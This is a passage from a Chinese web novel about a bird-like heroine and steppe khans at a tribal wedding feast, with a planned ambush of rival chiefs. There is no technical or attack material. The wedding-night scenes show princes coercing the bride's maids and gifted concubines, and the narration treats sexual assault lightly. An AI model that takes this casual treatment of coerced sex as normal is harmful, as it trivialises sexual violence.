在这个情况下,如果能把辽东隔壁的辽西弄到手,将飞地范围扩大化,一来抄些世族得实惠,二来辽东辽西合并成为一块国中之国,增加了魏朝收取两地的成本。这种边角之地,魏帝能遣的兵将更少,打仗不是数据游戏,不是棋盘战略,人离皇帝远,真的愿意下死力打仗的极少极少。 走一步看三步,林一准备弄完塔塔尔部,解除苏赫部两面受敌的现状,到时候视情况锤克烈部或者辽西郡,她可没有贪吃贪占的想法!那纯粹是因为辽东太远了嘛,从雪域走补给又很难,她仅仅是想从魏朝这侧打通一条雪域到辽东的道路,可不是天生喜欢打仗。 嗯,按骑兵无辎重行军天数计算,苏赫部距离辽东郡约莫要走二十多天路,算上复杂地形,约莫三千里,林一从空中规划的最短路线大概两千二百里。 沿途的郡也不多,拢共也就云中郡、定襄郡、雁门、代郡、上谷、渔阳、右北平和辽西郡嘛。 至于锤克烈部是很近很顺手的,但打起来可能会有不小的损失,因为克烈部去年被打到绝境了,一个冬天熬下来,像是一匹饥肠辘辘的饿狼,这会儿偏偏有人喂了狼一顿饱的。苏赫阿那的想法是暂时避一避,不是怕了,而是要消磨对方的士气,两军交战最重要的是不能对着锋芒直撞。 总之不管接下来怎么打,先锤塔塔尔部,苟也是罪,大罪!你既不投靠也不打我,偏偏还占着一块战略重地,你说你只想苟,你说这地是你祖传的?披条毛毯去喝汤吧,你可以下场了。 塔塔尔部的穆尔汗看起来比实际更老,脸上有些郁气,笑起来像哭一样。拔都比他大了快十岁,结果两人看起来一个年纪,右贤王赤那没来,左贤王霍都四十多岁,穿得很华贵,是魏人的绸缎布料,一头的小辫子里编着些珍珠玛瑙各色玉石,看起来很体面的一个人。 霍都笑容满面,自打婚宴开始就在各家部落席间来回穿梭,像个穿花老蝴蝶一样。他身边还带着两个十五六的女孩子,面容稚嫩但打扮得很成熟,不说以为是他的小王妃,结果是亲女儿。他把女儿带出来介绍给各家部落族长相识,甚至眼神都没怎么从王子身上瞥。 毕竟雪域规矩,尊者不可下淫,嫁王子可不是首选,在霍都看来,最好的联姻是嫁给部落掌权者,过个几年十几年,再以后母的身份收继给新族长。当然这事就算是在雪域也比较受人诟病,正当好年华的年轻男女婚配,才是繁衍大计。 权谋这玩意目前在雪域还比较新奇,大家思想普遍比较原始朴素,有个中等部落的老族长很认真地听着霍都介绍他没来的小女儿,又看了看被拉出来当门面的两姐妹,有些满意,叫来自己的儿子。 霍都一脸懵,我跟你扯这半天,你以为我给你介绍儿媳呢? 苏赫忽律吃席没多会儿,就偷偷摸摸跟上了霍都的脚步,他觉得这位左贤王就是他的人生楷模,真是八面玲珑,长袖善舞,在哪里都能吃得开,他很仔细地观察这位人生楷模。 苏赫阿那不管这个二子,吩咐阿克看住了乌苏就行。忽律虽然不聪明,但他想得多,往往还在想的时候事情就过去了,天性老谋深算,但啥也算不明白,这种性子不怎么容易被坑,因为你想把他带入自己的节奏都很难。 林一专心吃席,浅浅吃了一只烤全羊,盘子大小的炙烤驼峰也来了几片,这东西油滋滋肥汪汪,崔殊看着都觉得腻到眼睛了,但席间能被端上这菜的,吃得都很香,还有人用烤饼抹干净盘底油,然后撕扯滴油的烤饼吃,吃完还要嗦手指。 嗦手指的这位是汪古部族的族长乌普,很会过日子的一个人。等婚宴这些天,他才是最八面玲珑长袖善舞的那个,谈成了不知道多少笔生意,连就近的黑石部落也走了一趟,定好了采购黑石的计划。他可没打算给钱,而是商品抵账,这种初建的部落最穷,也最好谈生意。 正吃着,身边凑过来一个人,乌普下意识地往边上挪了挪,又紧张地看了一眼婚宴的上座。三位大汗可没有上下座之分,只以开婚宴的拔都可汗为主家,让他坐在中间,座位完全没有前后之差,并排而坐的。 林一咧开嘴巴,是个收着喙的礼貌笑容,但礼貌不多,“乌普,咱们也认识这么久了,你总是避着我,让我很伤心。” 乌普露出个茫然的神情,这位苏赫部的可敦他当然认识了,可就见过一面啊,打辽东之时从他这里借的粮,可一般“认识这么久了”指的应该是老朋友之类的吧?他一个壮年男子避着强盛部落的可敦这不是应该的嘛!这么多人看着,就算是雪域,已婚的妇人也不会和其他男人一块儿坐小桌啊! 这里的小桌是真的小桌,雪域木料稀少,木具一般都比较小,够用就行。就算是克烈部的婚宴,也是一个小桌子一个席位,林一坐过来的时候都把乌普的位置抢走了,现在汪古族长一屁股坐在草地上,满脸懵逼。 林一继续说:“黑石部落现在有苏赫部的支持,不准备买你那些物资,我知道你经常收一些坏毡帐烂皮衣什么的卖给小部落用,但是这个我们不要哈!这样,你弄些母牛母羊,种公不要多,马匹就算了,我知道你弄不到。” 乌普又看了一眼主位上的苏赫阿那,见苏赫大汗是真的一眼都没朝他看,略安下心来,同时又有些好笑,压低声音说道:“苏赫可敦……” 林一纠正,“我姓林,名一,字老大。” 她可是很有学识的凤鸟,林是音译,一是意译,老大是她深思熟虑为自己取的字,倒不是对苏赫可敦这个称呼有什么不满,但是辛辛苦苦取了这么优秀的名字不叫,太可惜了。 乌普想了一下,说道:“林……林可敦,现在正是春季,牛羊繁衍的时候,愿意卖牛羊的人家也不多,何况你还要母牛母羊,只靠黑石可抵不了那么多啊。” 黑石这种东西嘛,冬天肯定卖得俏,可是现在春季了,最俏的是牲畜,用过季货买换俏货是很亏的,乌普不怎么情愿。 林一揽住他的肩膀,压低声音说:“乌普族长,你也不愿意支援过我们打辽东的事情被克烈部知道吧?等等等等,我知道说这个不合规矩,我不是威胁你啊,而是在谈生意,你马上就要来一笔大生意了!具体是什么我还不能和你说,你就说赌不赌吧!” 乌普按了按太阳穴,又换上笑脸,“这样,三千只母羊三千头母牛,种公各百,林可敦满意否?” 林一不怎么满意,但是牲畜可以繁衍,不是为了立马拿去吃,只好勉勉强强点了点头。乌普见她这才愿意松开钳着他肩膀的手,感觉那一侧的肩膀都要疼掉了,看着这位可敦嘎嘎笑着大步往回走,无奈虽然无奈,但倒是没什么恶感。 雪域人穷,都是为了生活,他不是黑心商,但绝不施舍多余的怜悯,因为没有多余的能力支撑他的善心,力所能及吧。 余光撇见塔塔尔部左贤王霍都携女穿梭席间的身影,乌普咬了一口烤肥油,嗤笑出声。 霍都身后,苏赫忽律感觉自己学到了太多东西,和太多黑暗面了,他精神恍惚往回走,撞到带着人来拦他路的克烈部小公主其其。他浓眉一皱,直接呵斥道:“每次相见必纠缠不休,一天到晚,只想些男女相爱的破事,你的人生难道除了男人,就没有其他事情要考虑了吗?你如此愚蠢,我又这样智慧,我与你之间岂有缘分?” 其其愣住,眼眶一下子就红了,但她柔弱又倔强地说:“忽律阿哥,其其这辈子得不到的,是不是只有你了?” 苏赫忽律更加生气,指着那边结亲的大帐说道:“那里头的也是公主,魏朝公主,比你还要尊贵得多,还不是要嫁给巴特铁木尔,你所依仗的能依仗一辈子?你这辈子得不到的东西太多了,你阿父会把汗位给你吗?你阿兄会把兵权给你吗?你觉得除了我什么都能得到,正是你眼界浅薄的证明!” 其其哭道:“可我只是个女人,我不要那么多,只想要你。” 苏赫忽律一点怜爱的心情都没有,其其不难看,但是哭起来还是比较丑,他自己照镜子比她漂亮多了。小姑娘哭得颤抖,他反而更加怒了,斥道:“什么女人不女人的,女人就没有自己的事情要做吗?天天就知道想男人,更坏的话我就不说了,走开!” 他推搡开拦路的其其,却已经找不到霍都的身影了,不由恍惚又茫然,朝着苏赫部的方向走去。 其其追了几步,按住心口,虽然又被骂了一通,可为何她越发爱这个与众不同的男人?两个跟随霍都的女孩子也在不远处听着,对视一眼,眼眶全都红了,看着苏赫忽律的背影,眼神中微带光彩。 多好的一个男人,多么智慧的儿郎啊。 第65章 苏赫忽律回到席间,不知道是不是被其其带歪了,他坐着喝闷酒,忽然就想起女人来。 他和苏赫铎不一样,生下来的时候苏赫部就已经蒸蒸日上,他和很小就丧母的幼弟乌苏也不同,是被母亲阔真公主带在身边教养到懂事的,所学的都是*一些高深的权谋。 母亲聪慧过人,强势高傲,却不得阿父看重。母亲殚精竭虑,和部落之中觊觎可敦或汗妃之位的女子斗智斗勇,维护了可敦的地位,到她死都没有第二个女人出现在阿父身边。 幼时阿母常抱着他说,他是她的骄傲,他长得似父,心智随母,以后必然是这雪域上一等一的优秀儿郎,苏赫忽律也就此养成了高傲的性格。 母亲死后,他同样殚精竭虑,只不过和那些不成气候的女人相比,他的对手是苏赫铎,这个熟知兵事,掌控兵权,深得父亲看重的原配长子。他很辛苦地为自己打拼,渐渐地通过人格魅力,身边聚集了一群志同道合的的贤才谋臣,为他谋划将来之事。 嗯,以上全是苏赫忽律自己的视角。 苏赫忽律幼时生得就漂亮可爱,经常有小男孩为他打架,小女孩追着和他玩,长辈总是逗弄他。到少年时代更烦人,几乎是个女孩子看他一眼就脸红,有时候连男人都不敢直视他,他每次发火都会引来更多的爱慕眼神,令人烦不胜烦。 这个情况直到王澈来后有了好转,但好转不大,反正苏赫忽律对男女之事存有一些厌恶心态,也从来不觉得那些看脸的肤浅小姑娘和他能有什么结果。 若真要有一个女人相伴终生,会是个什么样的人呢? 时年二十二岁的二王子陷入了沉思之中,他不喜欢其其那样的,也就是说要避开柔弱和愚蠢,反之是强势和聪明。他不喜欢年纪过小的,这样经历不多的女孩子可能被人认为单纯天真,但他觉得肤浅,因此年纪可以放大一些。有和男人相处经验的寡妇最好,因为他不想耗神在哄姑娘开心这种小事上,最后得出结论,他适合寻找一个强势聪慧、略年长于他,有一定经验的妇人。 苏赫忽律陡然看向叶利诃。 苏赫部拢共两个万骑长,叶利诃来了克托守家,这会儿叶利诃正在喝酒。雪域部落男人之间最硬的通货就是酒,大多是马奶酒,毕竟是真没啥酿酒的材料。从魏朝贩过来的酒那就更珍贵了,那可都是粮食酒,号称“酒是粮中精”,一头羊换一坛酒都不算高价,但谁家经得起这样喝?反正苏赫阿那规定苏赫部民不得私下购酒,也和商队讲好,只要物资往来,在温饱都凑合的雪域谈奢侈享受,一律按照靖容公主处理。 叶利诃这辈子就喝过一回魏酒,就是林一从辽东世族那里抄出来的藏酒,因为不好运输没有多带,只弄了几坛放在绸缎堆里,结果弄回来没人喝,全便宜了叶利诃。 老酒鬼对此念念不忘,喝着克烈部招待的马奶酒,左右观望,总觉得自己阶层都不一样了,发出非常大的品酒声,故意哀叹,仿佛喝过更好的压根看不上这种雪域特色酒了。 苏赫忽律盯着叶利诃看,他所设想的未来妻子,那不就是——格桑大娘! 这样一个又强势又聪明的女人,在部落里有威望,年长于他,有和男人相处的经验,对他很好很照顾,肯定不会像小姑娘那样总是缠着他,不仅不会影响他的大业,还会有助于他,现在只差一个寡妇身份了。 叶利诃完全没注意到这道阴惨惨的目光,他喝干了一壶,朝侍从招手又要了一壶,他面色红润声音很大,身材又健壮,很显然没有喝酒突然喝死的征兆。 苏赫忽律相当遗憾地收回视线。 席上自然有林一的位置,她不大喜欢这种座位略后的摆位,自己把椅子往前挪了挪,坐上去又发现椅子不高,去拖了个坐垫来,瞪了一眼布置婚宴的拔都老头。 这老头是真的小气啊,不就上次拿了他一个辽东,给她这么大个身板安排个小凳凳,鸟腿都抻不开了! 主位上格局于是显得非常微妙,林一和苏赫阿那坐在一块儿,坐着都差不多高,拔都可汗在中间位置,身侧是妆容端庄明艳的祝若嫣,她微侧位,位置略低,偶尔低眉侧目看向拔都,眼神却不是那种低下柔软的,而是微微撩拨,带着成熟女子风韵的那种媚气。 穆尔汗的可敦早逝,这趟出来带的几个汗妃坐在下首,他一个老头坐上头,看起来难免尴尬,也是他先打破了沉默,对苏赫阿那笑着说道:“苏赫大汗去年成婚,不期我病了一场,没能观礼,这些日子多见苏赫可敦走动……” 林一哑哑纠正一句,穆尔汗看了一眼苏赫阿那,见他眼带笑意,于是很自然地接着道:“林可敦这些日子多在外走动,但一直没有说话机会,如今靠得近,看着真是、真是不凡。” 夸奖女人的话一般都不少,像祝若嫣那样的明艳女子,夸个十句都不打折扣,穆尔汗也是个老成的汗王了,愣是没想到该怎么夸。 说实话,老头当时差点脱口赞美她,真是身高八尺,形貌甚伟,英姿勃发…… 拔都可汗简直像是辽东的事情没有发生过一样,脸上还能挂笑,声如豺狼,笑道:“我一早就说苏赫贤弟得了一位佳妇,往后不管是阿铎还是忽律,谁有幸收继,苏赫部都是稳赚的买卖,林可敦看起来是魏家女子,别怪我老头话多,我们雪域的规矩是好女传三代,福大男人多。” 这话说时完全没有考虑到祝若嫣,这位明艳的汗妃微微低头,手按在拔都的手背上,仿佛示意他少说几句。 拔都就是在故意阴阳,哪可能听她的,又笑了起来,“林可敦岁数不大吧?看着比忽律还小些。来来来,忽律你过来,我这个外甥自小招人喜爱。” 苏赫忽律愣了一下,不知道是不是该听拔都舅舅的过去,他过去干啥啊?就在他犹豫纠结的时候,林一飞快而心虚地瞟了一眼苏赫阿那,霍然起身,震声说道:“你凭什么污人清白?什么男人多,我根本没想过!” 她涨红了脸,暴起一把拍扁了拔都桌案上的卤牛头,然后草草收场,警告道:“下次不许再说了,再说打烂你脑袋!” 拔都看着摇摇欲坠的桌案上被拍扁的牛肉牛骨,脸色很不好看,他对魏女很了解,很喜欢从贞洁啊经验啊这方面玩花样,也知道打压一个女人最好从这些方面入手,他好像是成功了,但好像又不是那么一回事。 怎么感觉她对好女传三代,或者福大男人多这种讽刺的话,挺向往的?简直就像是被说中了然后恼羞成怒。 林一把手上的油往侍从呈上来的布帕上擦,但是感觉布帕太白太干净了,半途收手,去叶利诃那儿用他胳膊上的半旧布料上抹了抹手,侍从都惊呆了。林一若无其事地回来,仿佛之前的争端都没发生过,还对穆尔老头招呼道:“吃点羊血肠不?” 穆尔汗呆愣愣的,点了点头,林一就给他切了一截,剩下的一大盘子都端过来自己和苏赫阿那两个人吃。 婚宴是会一直开下去,连开几日的,但是每日夜间也会散场,今天第一天散场,许多青年男子簇拥着巴特铁木尔去结亲帐子里。雪域也有暖房的说法,这些人有的是巴特铁木尔的亲信随从,有些是其他部落的王子等。 因为要洞房,巴特铁木尔喝酒不多,进了帐子看到新娘坐床,周围有侍女十几个,本来嫌碍事,但一回头看到兄弟们,顿时乐了,大声嚷嚷:“今晚都不白来,来来来,每人拉个姑娘走,要是睡得满意就带回去,不满意再换!” 他的魏语不错,雪域的权贵都会学习魏语,且就是有意让侍女们听懂,自然用的是魏语。这话让帐子里的魏朝女子都惊住了,坐床的新娘更是慌张道:“王子,这些都是自小服侍玉华的宫人,若要婚配,外头有那些媵妾留用,可以招待宾客。” 因为嫁妆丰厚,让巴特铁木尔感到很有面子,而且给了替代方案不是一昧拒绝,所以面对公主的话,他也没有恼,反而笑着说:“有什么不同,都是女人,我见你这帐子里的更乖俏些,也不是婚配,大不了不叫他们带走,只今晚去与我兄弟宿夜,回来还服侍你如何?” 他说话的工夫已经有性急的王子拉扯住了一个漂亮侍女,都要亲上嘴了,雪域的王子可没几个长得像苏赫忽律的,三四十岁不修边幅不洗澡的王子比比皆是。 一个小侍女下裙都被扯掉一半了,帐里年长的姑姑忽然挡住那个小侍女,拉着她跪下,所有侍女也都跟着跪下,连新娘都滚下床来跪着磕头。 那姑姑抱着抽噎不止的小侍女哭道:“王子殿下恕罪,这位才是玉华殿下,公主年小面皮薄,本想叫侍女暂代一代,等王子醒酒再叙话,不料、不料……” 巴特铁木尔愣住,随即大怒,扯人衣裳的王子也有些尴尬,连忙举手直摆,“铁木尔大哥,我哪里想得到这事!” 帐子中灯火通明,仔细观瞧,果然新娘眉低眼怯,磕头如捣蒜,有些奴婢气,在姑姑怀里痛哭的侍女肤白容色好,气度迥然不同。 巴特铁木尔怒气酒气一起上涌,他也不是傻子,什么叫醒酒再叙话,苏赫部去年不才闹了一出吗?只是那玲珑公主高明一点全身而退,这做姐姐的蠢一点,他的运气也好,才没叫跑掉罢了! 第66章 结亲大帐那边闹起来的时候,林一也在结亲,嗯,结着亲呢。 成熟的大鸟要会安抚心思敏感脆弱的伴侣,喜欢男人是雌鸟天性,是基因里带的,但是、但是……但是个什么,林一说不上来,总之先安抚再说。 苏赫阿那极少表露感情,或者说他本身就是一个内敛藏情之人,他仁慈不需要被人所知,有情不需要表露在外。过了这个冬季他四十六岁了,在雪域,五六十去世的人比比皆是。他从前没有过爱情,第一个妻子是收继婚带来的责任,对第二任妻子则是无奈与尊重,他原本以为男女之间本就是这样的,到了年纪成婚生子,然后老去死去,从没有想过会有一份很迟很迟的情爱。 人生若早得知,他情愿孤身到此时,可年少时又怎么会知,世上会有这样一个人存在? 如今已得明月入怀,体会到了爱人的滋味,他这一生何其圆满?何苦要追求极致掌控,要她懂这份老来沉重的爱意,飞鸟拴不住,就莫让她背负太多,快快乐乐地出去偷食也许更合适。 苏赫阿那发觉自己和旁人居然是不一样的,他想她开心快乐大过占有欲,是爱她无拘无束的自由气。 他的占有欲,仅仅是“莫叫我知,莫叫我见”,知道会妒,见到会怒,不是恼她。这样的一面不希望被她看见,太丑陋了些。 林一埋头苦啾啾,苏赫阿那叹了口气,伸手想拢起她的乌青色长发,凌乱地铺散在他身上,有些冰凉又撩人,手才伸到一半,外面就那么闹腾起来了。 苏赫阿那想要起身,林一按住他,继续啾啾,不满地说:“不理他们,专心点。” 又亲了会儿,外面闹得更凶了,隐隐听见拔都可汗的怒斥声,巴特铁木尔狼嚎似的怒叫,总之就是很扰人兴致,林一终于忍不住了,对苏赫阿那说道:“你别动,别穿,就这个姿势,我马上回来!” 这可是她最最最喜欢的褪衣程度,苏赫阿那的表情姿势也非常撩拨鸟,大好的情景,该死的克烈部吵吵什么呢? 林一光着膀子就往外走,边走边套上个外袍,里面什么都没有,但她走路的气势简直像穿了十八层盔甲,大步走到正在被两个青壮拉着左右胳膊的巴特铁木尔面前,啪啪给了他两个巴掌,声音比雷霆都大,响彻春季的草原:“吵什么?骂谁呢?是不是想死了?” 这会儿人不少,毕竟已经闹腾了一阵子,是刚才拔都可汗过来息事宁人,不知被拱了什么火,巴特铁木尔忽然发癫吵闹才声音大了起来,他怒声嚷道:“魏朝欺人太甚!嫁个公主来,她拿女奴来抵账,魏朝的公主都是贱人!” 刚嚷完就被冲出来的林一赏了他最爱吃的大嘴巴子四个。 平心而论,观感上挺像是骂了玉华公主,结果被人家的姐妹跑出来打了一样,目前知道林一是假公主的人不多,许多小部落还看热闹呢。 真正的萧玲珑也在看热闹,被林一打断后还有些遗憾,但作为魏将,杨裳的脸色就不够好看了。他面沉如水,在近前挡住巴特铁木尔,侧脸对拔都可汗说道:“事情原委已经弄清楚了,玉华殿下并没有离开帐子,所谓替嫁根本子虚乌有,我魏朝下嫁公主之时,本就有宫女试婚的规矩。王子对玉华殿下如此不满,婚姻结两姓之好,连新婚夜的体面都不给,那婚事不如作罢,大魏也不是不可以将殿下转婚克烈二王子。” 同为二王子的苏赫忽律本能抬了一下头,他没去暖房,这会儿也没反应过来发生了什么事,他喝了半壶的马奶酒,人还晕乎着。 拔都可汗老脸阴鸷,走到巴特铁木尔面前,也给他一个大嘴巴子,声音狠厉:“去!给公主殿下磕头赔罪,磕七个,不到不许停,你真要看着你二弟迎娶公主?” 事实上杨裳没这个权力,但话术而已,连拔都也只是为了让巴特铁木尔先低一下头,避免让事情更加难看。 巴特铁木尔露出愕然神情,看架势是还要发癫,林一跃跃欲试,想再来几个大嘴巴子。不知道为啥,这个铁木尔王子长得就很适合挨打的样子,脸面方阔,一巴掌下去可以打出个完整的巴掌印,很少见的。 还在抽噎着的玉华公主,她真的还在抽噎,然后就等着巴特铁木尔过来磕头赔罪了。 人在无语时真的会笑出声,这蠢的,给杨裳气乐了,浓密的胡子都颤了一下。这时他身边一直很平静的夫人王清云走到玉华公主身侧,低声说了句什么,小公主嘴巴颤了两下没吭声,表情有点倔,看起来是真的很想要个赔礼。 王清云也无奈,柔声开口道:“殿下方才说,夫妻一场,没有妻子站着受丈夫磕头的道理,既然是误会,解开便罢。今日殿下与王子新婚大喜,闹腾许久,就当是暖房,将这辈子的吵闹都了结在今日,往后要和和睦睦的。” 虽然给了台阶下,但脸被打得很痛,拢共挨五个大嘴巴子,亲爹打的也就算了,只是因为嚷嚷的声音太大,就被林一冲出来左右开弓啪啪啪啪连打四下!但是巴特铁木尔没敢和林一发狠,发狠是要看对象的,他只是盯着玉华公主看,看上去是恨极了。 事情解决完,姑且算是解决完,林一急吼吼地回到帐子里,发现苏赫阿那没听话,他不止把衣裳拢起来了,姿势也变成了靠着床头看竹简。 先前予取予求中透着一丝无奈,无奈中带着一丝羞愤,有点要脸面的矜持和快要崩溃的底线,浓眉微低,灰蓝眼睛里带着惹人的怜意,唯独嘴角是上扬的,仿佛很心甘情愿,很愉快。就是那种、那种特别香,特别美味的氛围不见了!该死的巴特铁木尔,就应该一翅膀打飞他的头! 她辛辛苦苦啾啾了半天的成果啊!知道要让苏赫阿那露出这样的神情有多艰难吗?她很少能办到的,从新婚到现在,拢共加起来不到四回。 她现在出去打死巴特铁木尔还来得及吗? 次日天光大亮,乌苏吃了一顿饱饭从帐子里出来,才听说了昨晚的事情。他其实对和亲来的公主总有一些同情,嫁给阿父那样的英雄豪杰尚且要嫌他年纪大,何况是铁木尔那样的凶人。然后听说玉华公主为了赔罪,给昨晚来暖房的男人都送了一到两名美貌媵妾,昨夜的帐区堪称一场宿夜大比,甚至有人不去帐子里。 雪域人不在意贞洁这种东西,繁衍是基于朴素的生育和快乐两项需求,常有大胆的少女主动示爱,主动邀请勇士宿夜,女人遇到侵犯就和走在路上挨了顿打差不多。如果抓得到犯事的,通常会索要牛羊赔偿,也有不要赔偿直接痛打一顿的,以打到骨折为惩罚标准,被看不起的通常是犯事人,大家普遍觉得只有没本事的老光棍能干出这事来。这是在苏赫部落,在其他部落其实更少会强迫本部落的女人,犯不上,大多数部落是有女奴存在的。 魏女不一样,魏朝的观念就和雪域不一样,听闻女子失了贞洁,无论主动被动都要受到极大的苛责甚至危及性命,乌苏听人说起的时候,没有错过一场热闹的遗憾,只是眉头拧在一起。 和亲来的公主已经是处境很差的了,她居然还有处境更差的欺凌对象,或者说这些女子被送到雪域这里来,就注定了结果不会太好。 乌苏的心情有些闷闷的,连二哥难得来叫他出去打猎都没有理会。 苏赫忽律有些奇怪,摆摆手自己去了。他昨夜没去暖房也被送了个女子,观看完巴特铁木尔挨大嘴巴子之后,他挺愉快的。总觉得林一打人的时候显得很英勇,看得人也跟着痛快,他因为谋略在胸,学着阿父内敛沉稳,于是很少有能够发泄情绪的时候,看鸟打人还是很解压。 昨晚就是因为心情愉快,又喝了些酒,他睡得美滋滋,是很难得的一次好眠,人被送进帐子时他半梦半醒懒得管,可女子一直坐在那嗷嗷哭,渐渐又很烦。 春季的雪域,夜晚还是很冷,苏赫忽律终于睡不下去了,帐子里乌漆嘛黑,他摸了个毡帽扣在头上遮脸防风,黑着个脸说了声闭嘴,然后裹了大衣把她往回送。 结果女子看到帐区那边“宿夜”的情景又吓哭了,哭求让他饶过自己。苏赫忽律感到很奇怪,你自己说要回去的,大冷的春夜我离了被窝把你往回送,我当你很想凑这个热闹哩! 但他没长那个嘴,生着闷气又把人往回领。他本来以为这种柔弱女子既然不愿意跟人宿夜,那就不会烦他了,结果刚回帐子,他摘了毡帽,转头才点起酥油灯呢。一回头,那边哭唧唧的声音停了,他还没来得及松口气,那女子就在那边脱,一边脱一边说什么遇到好心人了,愿意跟着他云云,求他怜惜。 屁嘞!我看你是馋男人身子了! 二王子很愤怒,于是扣起防风的毡帽夺门而出,又怂得不敢回去,怕那女人还在帐里等他羊入虎口,在外面溜达了大半夜。 以上还是苏赫忽律自己的视角。 婚宴连开四日……本来应该多开一段时间的,但是等婚宴的时间太长了,食材被吃得差不多了,大家的余粮回去都费劲,于是各自散场,就在这个情况下,一直像个专业吃席人的崔殊忽然开口了。 “要打塔塔尔部的话,为何不趁着这个机会,路上先设伏抓住阿勒坦穆尔和霍都两父子,使其内乱,然后再进行收割呢?” 连林一都惊了一下,她本来以为请人吃席,然后吃完路上打老头是她的绝活,是只有她这样没有道德的鸟人才想得出来的法子,万万没想到这病歪歪小胡子竟有不逊色于她的道德水平。 崔殊笑眼弯弯,分析说:“塔塔尔部右贤王势力虽大,但被这对父子压制,倘若两人来赴婚宴一去不回,右贤王必然聚众作乱,试图掌权,而我们早早埋伏在附近,趁其内乱动手。至于事情有些不讲武德也没有关系,雪域人戎狄蛮夷也,此战过后能来批判我们苏赫部落的,只有克烈部了,速战速决,兵家上策也。” 林一一把按住了崔殊,看他清俊面庞中透着一股莫名猥琐的气质,她很慎重地说:“其他先不论,我要拜你为军师,崔异人,你真的有些与众不同。” 在普遍崇尚君子道德的魏人里面,恁真是缺德得别具一格,非常具有军师特质。在主将打仗水平不低的情况下,军师纯纯是用来做缺德指导用的,真的是非常合适! 第67章 崔殊可没有觉得自己不道德,他反而觉得雪域人道德水平是不是过高了。他和王澈不仅是同窗,还是好友,物以类聚人以群分,他挺谦虚地认为自己和王澈之间的道德还是相差了一个苏赫大汗那么多。 道德战争比较出名的应该是春秋时期的宋襄公了,两国交战,要等对方渡河而不是半途攻击,对方渡河而军阵未备,要等对方军容齐整再攻。这样的道德君子果不其然输掉了,鸣鼓而攻,列阵为战成为过去式,自此开启“春秋无义战”的时代。 所有的聪明人都试图让敌方成为傻子,以各种拉低人类道德水准的损招作战,什么水淹火烧反间下毒诈降杀俘祸水东引坚壁清野层出不穷,如今的大世族,可正是这些诸侯、最低也是个公卿的后裔子孙啊。 而雪域,居然还维持着最原始的约定俗成,最离谱的就是夏秋繁衍季不得动刀兵,夏秋之时各个部落完全没有防备。像克烈部这样的大部族,去年就这么大喇喇地带着一堆堆青年男女过来约会繁衍宿夜,带的骑兵可不多,带来甚至也是为了和其他部落的姑娘睡觉的。 去年克烈部远途来到苏赫部落附近参加集会,拔都可汗带了二王子和小公主,结果巴特铁木尔半途被捉来,属于整个部族最高长官全伙在此,这不直接给他打掉? 而错过了去年的机会也不要紧啊,这趟和亲三个大部落的大汗全都在这儿,只要有一方设伏,这不是直接改变雪域格局的大好良机吗? 苏赫阿那越听眉头皱得越紧,林一越听眼睛越亮,频频点鸟头。是的是的,她也是这么想的,可是尤物不同意,觉得是坏了规矩,其实规矩的第一个破坏者,肯定是吃得最好,吃到满嘴流油的那个啊。 总之崔殊把自己说痛快了,又有些不好意思地道:“食君之禄,为君分忧,异人一直不言,是因为故国恩义,萧君虽苛,国民无罪。但近来造化贤弟书信于我,讲了辽东的情况。异人不如造化果决,若要南下中原,我也许无法建言,但是在雪域之中,愿为君解忧。” 林一啪啪地拍他肩膀,好!好小胡子,好!很解忧! 这话虽然是对两人说的,但苏赫阿那自然不会认为崔殊口中的“君”是指他。虽然眉头蹙得紧,但他没有提出反驳的意见,毕竟他用兵时也喜欢夜袭偷袭,现在也不是最重要的夏秋季。如果真的能因此减免大量战场上的伤亡,那损失一些信誉是可以接受的。 自然,信誉上的损失是由他来担的,林一其实没什么信誉,她坐在可汗大座上检查脚上脱落老皮都没什么人朝她看。 她目前在雪域还没有太多形象和名声流传,一个对她完全陌生的雪域人,基本上对她的印象差不多是“魏朝来和亲的公主”“苏赫部落的实权可敦”“冬季带着苏赫骑兵打下克烈占的辽东”“打仗厉害”。 大约这一战过后,就会开始传扬她的某些信誉和形象了。 中小部落开始散去,汪古部却是留下了,除了和附近黑石部落的交易,还有一些婚宴后要和克烈部谈的生意。毕竟玉华公主带来的大量嫁妆,对克烈部来说是无用的,拔都老头喜欢享受是不假,但他是一个人享受,看到别人享受也会斥责。 之前静宁公主那一趟和亲,克烈部本就是把一些华而不实的东西陆陆续续贩卖掉,换成实惠的茶叶酒水瓷器之类。这趟嫁妆更多,汪古部准备挑一些好货反卖给魏朝商人,商人最喜欢捧权贵臭脚,这些贵重物品卖给世族,人家看不上过了二手的,商人却是会愿意高价买回家的。 苏赫部落的黑帐准备拆卸装车,这需要一段时间,林一闲着也不帮忙,她坐着啃羊腿,准备待会儿飞去看看折返的塔塔尔部,这趟大家出来带的人手都不多,可是她在这里有一个部落啊! 当然人家塔塔尔部本来也没防备这事。 正啃着,林一忽然看到不远处有个头戴幂篱的女子走过,是很典型的一个主家带四个侍女的配置,林一举起羊腿很高兴地叫道:“是你啊!吃晚饭了吗?” 萧玲珑回过头,愣了愣,脚步顿时放快,但林一几步就窜过去了,很热情地说:“要不要去吃点羊?自从去年我们分别,我虽然有时候忘记你,但是我一直记得江……” 话没说完就被打断,萧玲珑只咬牙说道:“可敦认错人了,小女是雁门郡杨家新入门的宗妇公孙琦,并非是可敦所想的人。” 林一有点奇怪,她隔着幂篱也能分辨出这就是萧玲珑啊,想了想,她又很委婉地暗示,“没关系的,你和江骋做的事,我不怪你们,我还要感谢你的,苏赫……” 萧玲珑又打断她,微微行了个端庄的礼节,说:“小女出来许久了,要回夫君身边,可敦留步。” 林一看她急匆匆远去的背影,摸了一下自己的脑门,总是一句话没说完就打断她,萧玲珑的脾气都没怎么变化嘛,怎么就不肯承认身份呢?她现在其实不想用萧玲珑的身份了,主要是暂时用不上,而且那么个爹挺烦人的。 看来她也不想要了,那算了,不必要让小姑娘再次背上一个破爹的抚养责任。作为她和苏赫阿那之间的媒人,林一对萧玲珑和江骋的印象都还挺好的呢。 说到破爹,林一又想起了这次克烈部的新和亲对象了,然后出去了一趟。 苏赫部中午启程回返,当然,是表面上回返,实际上要绕一圈到黑石部落,然后筹划截住塔塔尔部的骑队。路上苏赫阿那看到林一的毡衣口袋里鼓得老高,不由询问:“带了什么?都要撑破衣裳了。” 林一态度比较自然,一脸都不脸红,“木带啥,就点小东西,地上拾嘞。” 她感觉自己真没有拾什么,现在大家穿衣裳要么是羊毡要么是毛皮,也有些人穿上魏朝来的丝麻之类,但基本都是手搓线或者纺毡。她这几天听人说玉华公主来和亲带了百工艺人,各色器械,立刻想去拾些织机什么的,可是没想到居然只是样机,而且是用小很多号的木头做了个微型的,和飞舟模型一个功能,用来看的。 